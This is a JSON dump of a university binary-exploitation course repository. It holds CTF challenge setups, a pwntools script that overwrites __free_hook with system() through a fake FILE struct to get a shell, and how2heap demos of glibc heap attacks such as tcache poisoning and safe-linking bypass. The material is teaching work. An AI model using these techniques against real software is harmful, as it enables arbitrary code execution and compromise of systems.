  return 0;\n}\n"
  },
  {
    "path": "2022/week3/hw/miniums/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntouch /tmp/meow\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week3/hw/miniums/share/test.py",
    "content": "#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n# Global variables\nargs = None\nelf = None\n\ndef send_idx(r, index):\n    r.sendlineafter(b'index\\n> ', str(index).encode())\n\ndef send_size(r, size):\n    r.sendlineafter(b'size\\n> ', str(size).encode())\n\ndef add_user(r, index, username):\n    r.sendlineafter(b'> ', str(1).encode())\n\n    send_idx(r, index)\n    r.sendafter(b'username\\n> ', flat(username, filler=b'\\x00', length=0x10))\n    r.recvline_contains(b'success!')\n\ndef edit_data(r, index, size, data, auto_fill=True):\n    r.sendlineafter(b'> ', str(2).encode())\n\n    send_idx(r, index)\n    send_size(r, size)\n    if auto_fill:\n        r.send(flat(data, filler=b'\\xFF', length=size))\n    else:\n        r.send(flat(data))\n    r.recvline_contains(b'success!')\n\ndef del_user(r, index, wait_for_msg=True):\n    r.sendlineafter(b'> ', str(3).encode())\n\n    send_idx(r, index)\n\n    if wait_for_msg:\n        r.recvline_contains(b'success!')\n\ndef show_users(r):\n    r.sendlineafter(b'> ', str(4).encode())\n\n    return r.recvuntil(b'1. add_user\\n', drop=True)\n\ndef do_aaw(r):\n    r.sendlineafter(b'> ', str(4).encode())\n\ndef attack(r):\n    add_user(r, 0, b'A' * 0x10)\n    add_user(r, 1, b'B' * 0x10)\n    add_user(r, 2, b'C' * 0x10)\n    add_user(r, 3, b'/bin/sh\\x00')\n    edit_data(r, 0, 0x18, b'a' * 0x18)\n    gdb.attach(r)\n    edit_data(r, 1, 0x18, b'b' * 0x18)\n    #edit_data(r, 3, 0x18, b'd' * 0x18)\n\n    # fclose to get a freed FILE chunk and a freed large chunk\n    del_user(r, 0)\n\n    # Leak libc information\n\n    # Make it allocate a memory which does not present in the tcache and fastbin\n    # Make sure it would cut down from unsorted bin\n    # The buffer containing the fd address would be written into the data\n    edit_data(r, 2, 0x88, b'\\xff', auto_fill=False)\n\n    userdata = show_users(r)\n    addr_bytes = userdata.split(b'[2] ')[1].split(b'data: ')[1][0:6]\n    log.debug(f\"{addr_bytes}\")\n    # Get the page address first, then calculate the libc base address\n    libc_addr = (u64(addr_bytes.ljust(8, b'\\x00')) & 0xFFFFFFFFFFFFF000) - 0x1ed000\n    log.info(f\"libc base address: {hex(libc_addr)}\")\n    free_hook_addr = libc_addr + 0x1eee48\n    log.info(f\"free hook address: {hex(free_hook_addr)}\")\n    system_addr = libc_addr + 0x52290\n    log.info(f\"system() address: {hex(system_addr)}\")\n\n    del_user(r, 1)\n    del_user(r, 2)\n\n    aaw_addr = free_hook_addr\n    aaw_size = 0x208\n    buf = [\n        p64(0xfbad0000 | 0x0000),\n        p64(0), # _IO_read_ptr\n        p64(0), # _IO_read_end\n        p64(0), # _IO_read_base\n        p64(0), # _IO_write_base\n        p64(0), # _IO_write_ptr\n        p64(0), # _IO_write_end\n        p64(aaw_addr), # _IO_buf_base\n        p64(aaw_addr + aaw_size), # _IO_buf_end\n        p64(0), # _IO_save_base\n        p64(0), # _IO_backup_base\n        p64(0), # _IO_save_end\n        p64(0), # _markers\n        p64(0), # _chain\n        p32(0), # _fileno\n        p32(0), # _flags2\n    ]\n    # Create a chunk with size = 0x1e0 which should get an used FILE struct.\n    # And write a fake FILE struct to do arbitrary address write!\n    edit_data(r, 3, 0x1d8, flat(buf), auto_fill=False)\n\n    userdata = do_aaw(r)\n    r.send(flat(p64(system_addr), filler=b'\\x00', length=0x208))\n\n    del_user(r, 3, wait_for_msg=False)\n\ndef main():\n    r = process(\"./chal\")\n\n    attack(r)\n\n    r.interactive()\n\nif __name__ == '__main__':\n    main()\n\n\n"
  },
  {
    "path": "2022/week3/hw/miniums/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week3/lab/aar/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week3/lab/aar/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10010:10001\""
  },
  {
    "path": "2022/week3/lab/aar/share/Makefile",
    "content": "all:\n\tgcc -no-pie -o chal aar.c"
  },
  {
    "path": "2022/week3/lab/aar/share/aar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nchar flag[0x10] = \"FLAG{TEST}\\n\";\n\nint main()\n{\n    FILE *fp;\n    char *buf;\n\n    buf = malloc(0x10);\n    fp = fopen(\"/tmp/meow\", \"w\");\n    read(0, buf, 0x1000);\n    fwrite(buf, 0x10, 1, fp);\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/lab/aar/share/example.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n\nchar leak[] = \"MEOW!!!\";\n\nvoid aar(FILE *fp, void *addr, int size)\n{\n    char buf[0x10] = \"1234\";\n    fp->_flags = 0xfbad0800;\n    fp->_IO_read_end = fp->_IO_write_base = addr;\n    fp->_IO_write_ptr = (char *)addr + size;\n    fp->_IO_write_end = 0;\n    fp->_fileno = 1;\n    fwrite(buf, 0x10, 1, fp);\n}\n\nint main()\n{\n    FILE *fp;\n\n    fp = fopen(\"/tmp/meow\", \"w\");\n    aar(fp, leak, sizeof(leak));\n    fclose(fp); */\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/lab/aar/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntouch /tmp/meow\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week3/lab/aar/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week3/lab/aaw/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week3/lab/aaw/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10009:10001\""
  },
  {
    "path": "2022/week3/lab/aaw/share/Makefile",
    "content": "all:\n\tgcc -no-pie -o chal aaw.c"
  },
  {
    "path": "2022/week3/lab/aaw/share/aaw.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <fcntl.h>\n\nchar flag[0x10] = \"FLAG{TEST}\\n\";\nchar owo[] = \"OWO!\";\n\nint main()\n{\n    FILE *fp;\n    char *buf;\n\n    buf = malloc(0x10);\n    fp = fopen(\"/tmp/meow\", \"r\");\n    read(0, buf, 0x1000);\n    fread(buf, 0x10, 1, fp);\n\n    if (strcmp(owo, \"OWO!\") != 0)\n        write(1, flag, sizeof(flag));\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/lab/aaw/share/example.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n\nchar leak[] = \"MEOW!!!\";\n\nvoid aaw(FILE *fp, void *addr, int size)\n{\n    char buf[0x10] = \"1234\";\n    fp->_flags = 0xfbad0000;\n    fp->_IO_buf_base = fp->_IO_write_base = addr;\n    fp->_IO_buf_end = (char *)addr + size;\n    fp->_IO_read_ptr = fp->_IO_read_end = 0;\n    fp->_fileno = 0;\n    fread(buf, 0x1, 1, fp);\n    puts(leak);\n}\n\nint main()\n{\n    FILE *fp;\n\n    fp = fopen(\"/tmp/meow\", \"r\");\n    aaw(fp, leak, sizeof(leak));\n    fclose(fp);\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/lab/aaw/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntouch /tmp/meow\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week3/lab/aaw/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nENV DEBIAN_FRONTEND=noninteractive\nENV LC_ALL=en_US.UTF-8\n\nRUN apt update && \\\n    apt install -yq gcc && \\\n    apt install -yq gdb && \\\n    apt install -yq git && \\\n    apt install -yq ruby-dev && \\\n    apt install -yq vim-gtk3 && \\\n    apt install -yq fish && \\\n    apt install -yq glibc-source && \\\n    apt install -yq make && \\\n    apt install -yq gawk && \\\n    apt install -yq bison && \\\n    apt install -yq libseccomp-dev && \\\n    apt install -yq tmux && \\\n    apt install -yq wget && \\\n    apt install -yq locales && \\\n    locale-gen en_US.UTF-8\n\n# compile glibc-2.31\nRUN cd /usr/src/glibc && \\\n    tar xvf glibc-2.31.tar.xz && \\\n    mkdir glibc_dbg && \\\n    cd glibc_dbg && \\\n    ../glibc-2.31/configure --prefix $PWD --enable-debug && \\\n    make -j4\n\n# install pwndbg\nRUN git clone https://github.com/pwndbg/pwndbg ~/pwndbg && \\\n    cd ~/pwndbg && \\\n    ./setup.sh\n\n# install pwngdb\nRUN git clone https://github.com/scwuaptx/Pwngdb.git ~/Pwngdb && \\\n    cat ~/Pwngdb/.gdbinit >> ~/.gdbinit && \\\n    sed -i \"s/source ~\\/peda\\/peda.py//g\" ~/.gdbinit\n\nRUN pip3 install pwntools==4.4.0\nRUN gem install seccomp-tools one_gadget\nRUN ln -s /usr/local/lib/python3.8/dist-packages/bin/ROPgadget /bin/ROPgadget\nRUN echo \"set-option -g default-shell /bin/fish\" > /root/.tmux.conf\n\nCMD [\"/bin/fish\"]\n"
  },
  {
    "path": "README.md",
    "content": "# 交大程式安全 binary exploit 教材\n\n這個 repo 為 2021 與 2022 年交大的程式安全，2021 年的第三週課程由另一名助教 @kia 所負責，請參考 2021 與 2022 目錄下的 README.md。\n\n目錄的結構如下：\n```\n.\n├── Dockerfile # 建構 pwnbox\n├── snippet # pwnbox 的執行腳本\n├── week1\n│   ├── Pwn-w1.pdf # 投影片\n│   ├── demo # 範例\n│   │   ├── demo1\n│   │   └── ...\n│   ├── hw # 作業\n│   │   ├── hw1\n│   │   ├── ...\n│   │   └── exp # 在 deadline 結束後會更新參考解答\n│   └── lab # 課堂習題\n│       ├── lab1\n│       ├── ...\n│       └── exp\n├── week2\n├── quals # AIS3 EOF qualify 題目\n...\n```"
  },
  {
    "path": "how2heap/Makefile",
    "content": "all: bypass_safe_linking decrypt_safe_linking fastbin_dup fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_mind_fastbin large_bin_attack mmap_overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink house_of_lore\n\nbypass_safe_linking:\n\tgcc -g -o $@ $@.c\n\ndecrypt_safe_linking:\n\tgcc -g -o $@ $@.c\n\nfastbin_dup:\n\tgcc -g -o $@ $@.c\n\nfastbin_reverse_into_tcache:\n\tgcc -g -o $@ $@.c\n\nhouse_of_botcake:\n\tgcc -g -o $@ $@.c\n\nhouse_of_einherjar:\n\tgcc -g -o $@ $@.c\n\nhouse_of_lore:\n\tgcc -g -o $@ $@.c\n\nhouse_of_mind_fastbin:\n\tgcc -g -o $@ $@.c\n\nlarge_bin_attack:\n\tgcc -g -o $@ $@.c\n\nmmap_overlapping_chunks:\n\tgcc -g -o $@ $@.c\n\npoison_null_byte:\n\tgcc -g -o $@ $@.c\n\ntcache_house_of_spirit:\n\tgcc -g -o $@ $@.c\n\ntcache_poisoning:\n\tgcc -g -o $@ $@.c\n\ntcache_stashing_unlink_attack:\n\tgcc -g -o $@ $@.c\n\nunsafe_unlink:\n\tgcc -g -o $@ $@.c\n\nclean:\n\trm bypass_safe_linking decrypt_safe_linking fastbin_dup fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_mind_fastbin large_bin_attack mmap_overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink"
  },
  {
    "path": "how2heap/README.md",
    "content": "## how2heap\n\n> 針對 [how2heap](https://github.com/shellphish/how2heap) 中記載的 glibc 2.31 / 2.32 利用技巧加上部分中文註解以及分析\n\n|                               | **2.31** | **2.32** | **2.34** |\n| ----------------------------- | -------- | -------- | -------- |\n| fastbin_dup                   | ✅        | ✅        | ✅        |\n| fastbin_reverse_into_tcache   | ✅        | ✅        | ✅        |\n| house_of_botcake              | ✅        | ✅        | ✅        |\n| house_of_einherjar            | ✅        | ✅        | ✅        |\n| house_of_lore                 | ✅        | ✅        | ✅        |\n| house_of_mind_fastbin         | ✅        | ✅        | ✅        |\n| large_bin_attack              | ✅        | ✅        | ✅        |\n| mmap_overlapping_chunks       | ✅        | ✅        | ✅        |\n| overlapping_chunks            | ✅        | ✅        | ✅        |\n| poison_bull_byte              | ✅        | ✅        | ✅        |\n| tcache_house_of_spirit        | ✅        | ✅        | ✅        |\n| tcache_poisoning              | ✅        | ✅        | ✅        |\n| tcache_stashing_unlink_attack | ✅        | ✅        | ✅        |\n| unsafe_unlink                 | ✅        | ✅        | ✅        |\n| decrypt_safe_linking          |          | ✅        | ✅        |\n| bypass_safe_linking           |          | ✅        | ✅        |"
  },
  {
    "path": "how2heap/bypass_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <inttypes.h>\n#include <assert.h>\n\n// Free and NULL out pointer, preventing UAF\n#define SAFE_FREE(p) { free(p); p = NULL; }\n\n// 1-byte overflow. Sets overflown chunk's mchunk_rev_size to 0x140 and\n// mchunk_size to 0xa0 (clearing the PREV_INUSE flag)\nchar *payload = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n                \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n                \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x40\\x01\\x00\\x00\\x00\\x00\"\n                \"\\x00\\x00\\xa0\";\n\n// 2-byte overflow. Sets overflown chunk's mchunk_size to 0x140\nchar *payload2 = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n                 \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n                 \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x41\\x01\";\n\nuint64_t arbitrary_variable = 0x11111111;\n\nint bypass_demo() {\n    void *tcache_allocs[7];\n\n    for( int i = 0; i < 7; i++)\n        tcache_allocs[i] = malloc(0x98);\n\n    char *chunkA = malloc(0x98);\n    char *chunkB = malloc(0x98);\n    char *chunkC = malloc(0x98);\n    char *chunkD = malloc(0xb8);\n\n    // 填滿 tcache\n    for (int i = 0; i < 7; i++)\n        SAFE_FREE(tcache_allocs[i]);\n\n    // put into unsorted bin\n    SAFE_FREE(chunkB);\n\n    // bof to D and unset its prev_inuse bit: prev_size == 0x140, size == 0xa0\n    memcpy(chunkC, payload, 0x99);\n    // fake chunk size\n    chunkD[0x98] = '\\x21';\n\n    // overwrite chkB size from 0xa0 to 0x140, and concat with chkD\n    memcpy(chunkA, payload2, 0x9a);\n\n    // consolidate with chkB，並將 chunk 放到 unsorted bin\n    SAFE_FREE(chunkD);\n\n    // empty tcache\n    for (int i = 0; i < 7; i++)\n        tcache_allocs[i] = malloc(0x98);\n\n    char *junk = malloc(0x98); // 從 unsorted bin 拿 chunk，會拿到 chunk B 的位址\n    char *chunkC2 = malloc(0x98); // 從 unsorted bin 拿 chunk，會拿到 chunk C 的位址\n    assert(chunkC == chunkC2);\n\n    SAFE_FREE(chunkC2); // 將 chunkC2 放到 tcache 內，不過 chunkC 仍然可以被使用\n    // e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]) ==> e->next = PROTECT_PTR (&e+0x10, 0)\n\n    uint64_t L12 = *(int64_t *)chunkC;\n    // get L12, e.g. 0x55f9755ba840 --> 0x55f9755ba\n\n    // xor 任意的記憶體位址，最後 4 bits 不 xor 是因為要確定 alignment\n    uint64_t masked_ptr = L12 ^ (((uint64_t) &arbitrary_variable) & ~0xf);\n\n    uint64_t *chunkC3 = malloc(0x98); // 第三次取得 chkC\n    assert(chunkC == chunkC3);\n\n    SAFE_FREE(tcache_allocs[0]); // free 掉之前存在於 tcache 的一塊 chunk\n    SAFE_FREE(chunkC3);\n    *(uint64_t *) chunkC = masked_ptr; // 覆蓋成 &arbitrary_variable\n    \n    char *junk2 = malloc(0x98); // 第四次取得 chkC\n\n    uint64_t *winner = malloc(0x98); // 此位置會等於 &arbitrary_variable\n    *(winner+1) = 0x112233445566;\n    assert(*(&arbitrary_variable+1) == 0x112233445566);\n}\n\n// Reference from: https://e28b174e-d342-4a10-972e-a985c56398b8.usrfiles.com/ugd/e28b17_669515e9578e4196add11802ed1d8984.txt\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    bypass_demo();\n    return 0;\n}"
  },
  {
    "path": "how2heap/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n    long key = 0;\n    long plain;\n\n    for (int i = 1; i < 6; i++)\n    {\n        int bits = 64 - 12 * i;\n        if (bits < 0)\n            bits = 0;\n        // 52, 40, 28, 16, 4, 0\n        plain = ((cipher ^ key) >> bits) << bits;\n        key = plain >> 12;\n        printf(\"round %d:\\n\", i);\n        printf(\"key:    %#016lx\\n\", key);\n        printf(\"plain:  %#016lx\\n\", plain);\n        printf(\"cipher: %#016lx\\n\\n\", cipher);\n    }\n    return plain;\n}\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    // step 1: allocate chunks\n    long *a = malloc(0x20);\n    long *b = malloc(0x20);\n    malloc(0x10);\n\n    // tcache: b --> a\n    free(a);\n    free(b);\n\n    // decrypt the encrypted pointer\n    long plaintext = decrypt(b[0]);\n\n    printf(\"value: %p\\n\", a);\n    printf(\"recovered value: %#lx\\n\", plaintext);\n    assert(plaintext == (long)a);\n}"
  },
  {
    "path": "how2heap/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetvbuf(stdin, NULL, _IONBF, 0);\n\tsetvbuf(stdout, NULL, _IONBF, 0);\n\n\tvoid *ptrs[8];\n\tfor (int i = 0; i < 8; i++)\n\t\tptrs[i] = malloc(8);\n\n    // 填滿 tcache\n\tfor (int i = 0; i < 7; i++)\n\t\tfree(ptrs[i]);\n\n    // calloc() 不會從 tcache 當中取出 chunk\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n    // ! vuln\n    // fastbin 只會檢查第一塊 chunk 是否等於即將要 free 掉的 chunk\n\tfree(a);\n\tfree(b);\n\tfree(a);\n\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\n\tassert(a == c);\n}"
  },
  {
    "path": "how2heap/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    char *ptrs[14];\n    for (int i = 0; i < 14; i++)\n        ptrs[i] = malloc(0x10);\n\n    for (int i = 0; i < 7; i++)\n        free(ptrs[i]);\n\n    // victim 為第八個 chunk\n    // 而此 chunk 也會是 fastbin 當中的最後一塊 chunk\n    char *victim = ptrs[7];\n    free(victim);\n\n    for (int i = 8; i < 14; i++)\n        free(ptrs[i]);\n\n    size_t stack_var[6];\n    memset(stack_var, 0xcd, sizeof(stack_var));\n\n    // ! vuln\n    // 透過漏洞來蓋寫位於 fastbin 當中的 victim 的 fd\n    *(size_t **) victim = &stack_var[0];\n\n    // 清空 tcache\n    for (int i = 0; i < 7; i++)\n        ptrs[i] = malloc(0x10);\n\n    // trigger exp\n    // 執行後 fastbin 的 chunk 會倒著被放入 tcache 當中\n    malloc(0x10);\n\n    char *q = malloc(0x10);\n    assert(q == (char *)&stack_var[2]);\n\n    return 0;\n}"
  },
  {
    "path": "how2heap/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    // 此為我們的目標\n    intptr_t stack_var[4];\n    intptr_t x[7];\n\n    // prepare heap layout\n    for(int i = 0; i < 7; i++)\n        x[i] = malloc(0x100);\n\n    intptr_t *prev = malloc(0x100); // for consolidation\n    intptr_t *a = malloc(0x100); // victim\n    malloc(0x10); // prevent consolidate with top chunk\n    \n    // 填滿 tcache\n    for(int i = 0; i < 7; i++)\n        free(x[i]);\n    free(a); // victim will be put into unsorted bin\n    free(prev); // consolidate with victim\n    \n    malloc(0x100); // 從 tcache 取出一塊\n    \n    // ! vuln\n    free(a); // double free victim\n    // 此時 a 會被放到 tcache 當中\n    \n    // 從 unsorted bin 切 0x120 大小的 chunk\n    intptr_t *b = malloc(0x120);\n    // overwrite victim's fd\n    b[0x120/8-2] = (long)stack_var; \n    \n    malloc(0x100);\n    // get target\n    intptr_t *c = malloc(0x100);\n    assert(c == stack_var); // sanity check\n    \n    return 0;\n}"
  },
  {
    "path": "how2heap/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    // target\n    intptr_t stack_var[4];\n    intptr_t *a = malloc(0x38);\n\n    // 在 overlap 的 chunk 前建立一個 fake chunk，並將 fd 與 bk 都設為 fake chunk 自己\n    a[0] = 0;    // prev_size (Not Used)\n    a[1] = 0x60; // size\n    a[2] = (size_t) a; // fwd\n    a[3] = (size_t) a; // bck\n\n    // b 模擬造成 off-by-one 的 chunk\n    uint8_t *b = (uint8_t *) malloc(0x28);\n    int real_b_size = 0x28;\n\n    uint8_t *c = (uint8_t *) malloc(0xf8);\n    uint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\n    // ! vuln\n    b[real_b_size] = 0; // c: 0x101 ---> 0x100\n    size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n    *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; // prev_size\n    a[1] = fake_size; // update fake chunk size\n\n    // 填滿 tcache\n    intptr_t *x[7];\n    for(int i = 0; i < 7; i++)\n        x[i] = malloc(0xf8);\n\n    for(int i = 0; i < 7; i++)\n        free(x[i]);\n\n    // trigger consolidation\n    free(c);\n\n    // 此時 unsorted bin 的 chunk 大小為 0x160 == 0x100 + 0x60 (fake_chunk)\n\n    // 取得在 unsorted bin 當中的 0x160 chunk\n    intptr_t *d = malloc(0x158);\n\n    // tcache poisoning\n    uint8_t *pad = malloc(0x28);\n    free(pad);\n    free(b);\n    // 此時 b --> pad，而 b 所在的位址 d 又控的到，因此將 next 改成 target address\n    d[0x30 / 8] = (long) stack_var;\n\n    // take target out\n    malloc(0x28);\n    intptr_t *e = malloc(0x28);\n\n    // sanity check\n    assert(e == stack_var);\n}"
  },
  {
    "path": "how2heap/house_of_lore.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot()\n{\n    fprintf(stderr, \"Nice jump d00d\\n\");\n    exit(0);\n}\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    intptr_t *stack_buffer_1[4] = {0};\n    intptr_t *stack_buffer_2[3] = {0};\n    void *fake_freelist[7][4] = {0};\n\n    intptr_t *victim = malloc(0x100);\n\n    void *dummies[7];\n    for (int i = 0; i < 7; i++)\n        dummies[i] = malloc(0x100);\n\n    // 取的 victim_chunk 的位址\n    intptr_t *victim_chunk = victim - 2;\n\n    // 在 stack 中建立一個 fake free-list\n    for (int i = 0; i < 6; i++)\n        fake_freelist[i][3] = fake_freelist[i + 1];\n    fake_freelist[6][3] = NULL;\n\n    // fake chunk    \n    stack_buffer_1[0] = 0;\n    stack_buffer_1[1] = 0;\n    stack_buffer_1[2] = victim_chunk; // set fd to 'victim_chunk' in order to bypass small bin corrupted\n    stack_buffer_1[3] = (intptr_t *) stack_buffer_2; // set bk to 'stack_buffer_2'\n\n    // set fd to stack_buffer_1 in order to bypass small bin corrupted\n    stack_buffer_2[2] = (intptr_t *) stack_buffer_1;\n\n    // set bk to fake free-list to prevent crash\n    stack_buffer_2[3] = (intptr_t *) fake_freelist[0];\n\n    void *p5 = malloc(1000);\n\n    for (int i = 0; i < 7; i++)\n        free(dummies[i]);\n    free(victim); // will be put into unsorted bin\n\n    // victim(0x100) will go to smallbin\n    void *p2 = malloc(1200);\n\n    // ! vuln\n    // victim is now in smallbin\n    victim[1] = (intptr_t) stack_buffer_1; // victim->bk is pointing to stack\n\n    // 清空 tcache\n    for (int i = 0; i < 7; i++)\n        malloc(0x100);\n\n    void *p3 = malloc(0x100); // 執行後會拿到 victim，並且 trigger smallbin stashing\n    char *p4 = malloc(0x100); // 而 p4 會拿到 stack 位址\n    \n    intptr_t sc = (intptr_t)jackpot;\n    long offset = (long)__builtin_frame_address(0) - (long)p4;\n    memcpy((p4 + offset + 8), &sc, 8); // bypass canary\n\n    // sanity check\n    assert((long)__builtin_return_address(0) == (long)jackpot);\n}"
  },
  {
    "path": "how2heap/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n\tsetvbuf(stdout, NULL, _IONBF, 0);\n\n    int HEAP_MAX_SIZE = 0x4000000;\n    int MAX_SIZE = (128 * 1024) - 0x100; // 不要超過 mmap threshold\n\n    // fake_arena 為我們所構造的假 arena\n    uint8_t *fake_arena = malloc(0x1000);\n    uint8_t *target_loc = fake_arena + 0x30;\n    uint8_t *target_chunk = (uint8_t *)fake_arena - 0x10; // chunk 的開頭\n\n    fake_arena[0x888] = 0xFF; // update fake_arena 的 'system_mem' 欄位\n    fake_arena[0x889] = 0xFF;\n    fake_arena[0x88a] = 0xFF;\n    // debug: p *(struct malloc_state *) fake_arena\n\n    // 根據 macro:\n    // #define heap_for_ptr(ptr) ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n    // 來計算新 heap_info 的記憶體位址\n    uint64_t new_arena_value = (((uint64_t)target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n    uint64_t *fake_heap_info = (uint64_t *)new_arena_value;\n\n    // 持續 malloc 直到分配到 fake_heap_info 位址\n    uint64_t *user_mem = malloc(MAX_SIZE);\n    while ((long long) user_mem < new_arena_value)\n        user_mem = malloc(MAX_SIZE);\n\n    // Use this later to trigger craziness\n    uint64_t *fastbin_chunk = malloc(0x50); \n    uint64_t *chunk_ptr = fastbin_chunk - 2; // chunk 的開頭\n\n    // 填滿 tcache\n    uint64_t *tcache_chunks[7];\n    for (int i = 0; i < 7; i++)\n        tcache_chunks[i] = malloc(0x50);\n    for (int i = 0; i < 7; i++)\n        free(tcache_chunks[i]);\n\n    fake_heap_info[0] = (uint64_t)fake_arena; // set ar_ptr (arena pointer)\n    // ! vuln\n    chunk_ptr[1] = 0x60 | 0x4; // set the non-main arena bit\n\n    // 此塊 fastbin chunk 會被我們一開始所建立的 fake_arena 所維護\n    // 因此 fastbinsY 會有對應的 pointer\n    free(fastbin_chunk);\n    // debug: p *(struct malloc_state *) fake_arena\n\n    assert(*((unsigned long *)(target_loc)) != 0);\n}"
  },
  {
    "path": "how2heap/large_bin_attack.c",
